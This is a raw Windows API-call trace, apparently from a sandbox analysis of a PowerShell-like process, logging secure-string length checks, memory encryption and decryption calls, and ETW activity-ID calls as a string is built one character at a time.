0x0 [0138.694] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3pFT5E") returned 0x28 [0138.694] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.694] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3") returned 0x28 [0138.695] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3") returned 0x28 [0138.695] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3") returned 0x28 [0138.695] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3") returned 0x30 [0138.695] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0138.695] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3pFT5E8굼ꄼꒉ땠") returned 0x30 [0138.695] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0138.695] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3\x9ef2\xbbf5\x970a\xd692\x1c3f\xf002\x1ca5\xeb6a") returned 0x30 [0138.695] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3\x9ef2\xbbf5\x970a\xd692\x1c3f\xf002\x1ca5\xeb6a") returned 0x30 [0138.695] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0138.695] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3pFT5E8W굼ꄼꒉ땠") returned 0x30 [0138.695] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0138.695] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3\x9777\x57e4\x4a34\x1d3b\x2ac4\xd88c\x3856\xf4d2") returned 0x30 [0138.695] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3\x9777\x57e4\x4a34\x1d3b\x2ac4\xd88c\x3856\xf4d2") returned 0x30 [0138.695] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0138.695] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3pFT5E8Ws굼ꄼꒉ땠") returned 0x30 [0138.695] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0138.695] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3\x2b12\x5c84\x2535\x46f\x6de1\x73fd\x3407\xf37b") returned 0x30 [0138.695] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x1a25\xebb0\x93f6\xac7a\x65fc\xf70a\xe172\x85b3\x2b12\x5c84\x2535\x46f\x6de1\x73fd\x3407\xf37b") returned 0x30 [0138.696] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0138.696] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3pFT5E8Ws=ꄼꒉ땠") returned 0x30 [0138.696] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0138.696] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.696] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.696] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.696] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0138.696] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.696] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.696] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.697] SysStringLen (param_1="") returned 0x8 [0138.697] SysStringLen (param_1="Y") returned 0x8 [0138.697] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.697] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.697] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.697] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.697] SysStringLen (param_1="YW") returned 0x8 [0138.697] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.697] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.697] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.697] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.697] SysStringLen (param_1="YWM") returned 0x8 [0138.697] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.698] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.698] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.698] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.698] SysStringLen (param_1="YWM1") returned 0x8 [0138.698] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.698] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.698] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.698] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.698] SysStringLen (param_1="YWM1O") returned 0x8 [0138.698] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.698] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.698] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.698] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.698] SysStringLen (param_1="YWM1OT") returned 0x8 [0138.698] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.698] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.698] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.698] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.699] SysStringLen (param_1="YWM1OTE") returned 0x8 [0138.699] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.699] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.699] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.699] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.699] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0138.699] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.699] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.699] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.699] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.699] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0138.699] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.699] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0138.699] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.699] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.699] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.700] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0138.700] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.700] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.700] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0138.700] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.700] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.700] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0138.700] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.700] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.700] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0138.700] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.700] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.701] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.701] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0138.701] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.701] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0138.701] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.701] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.701] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0138.701] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.701] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0138.702] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.702] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0138.702] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.702] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.702] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0138.702] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.702] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.702] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0138.702] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.702] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.702] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.703] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0138.703] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.703] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.703] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.703] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.703] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0138.703] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.703] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.703] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.703] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.703] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0138.703] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.703] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.703] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.703] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.703] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0138.703] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.703] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.703] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.704] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.704] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0138.704] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.704] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.704] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.704] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.704] SysStringLen 